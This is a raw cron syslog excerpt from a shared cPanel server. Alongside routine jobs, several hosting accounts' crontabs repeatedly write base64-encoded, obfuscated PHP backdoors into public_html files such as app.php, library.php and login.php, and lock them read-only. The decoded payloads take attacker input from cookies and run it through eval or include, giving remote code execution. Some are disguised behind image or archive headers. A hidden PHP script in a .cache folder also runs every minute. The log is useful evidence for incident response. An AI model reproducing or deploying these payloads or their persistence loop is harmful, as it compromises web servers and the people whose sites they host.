Jun  7 04:36:01 medusa CROND[2401]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 04:37:01 medusa CROND[3827]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Jun  7 04:37:01 medusa CROND[3833]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 04:37:01 medusa CROND[3832]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 04:37:01 medusa CROND[3834]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 04:37:01 medusa CROND[3835]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 04:37:01 medusa CROND[3836]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 04:37:01 medusa CROND[3837]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 04:37:01 medusa CROND[3839]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 04:37:01 medusa CROND[3841]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 04:37:01 medusa CROND[3842]: (adminanalia) CMD (cd /home12/adminanalia/public_html/espo; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Jun  7 04:37:01 medusa CROND[3845]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 04:37:01 medusa CROND[3846]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 04:37:01 medusa CROND[3847]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 04:38:01 medusa CROND[5362]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 04:38:01 medusa CROND[5363]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 04:38:01 medusa CROND[5364]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 04:38:02 medusa CROND[5365]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 04:38:02 medusa CROND[5366]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 04:38:02 medusa CROND[5369]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 04:38:02 medusa CROND[5370]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 04:38:02 medusa CROND[5371]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Jun  7 04:38:02 medusa CROND[5375]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 04:38:02 medusa CROND[5376]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 04:38:02 medusa CROND[5378]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 04:38:02 medusa CROND[5379]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 04:38:02 medusa CROND[5385]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 04:39:01 medusa CROND[6801]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Jun  7 04:39:01 medusa CROND[6805]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 04:39:02 medusa CROND[6815]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 04:39:02 medusa CROND[6816]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 04:39:02 medusa CROND[6817]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
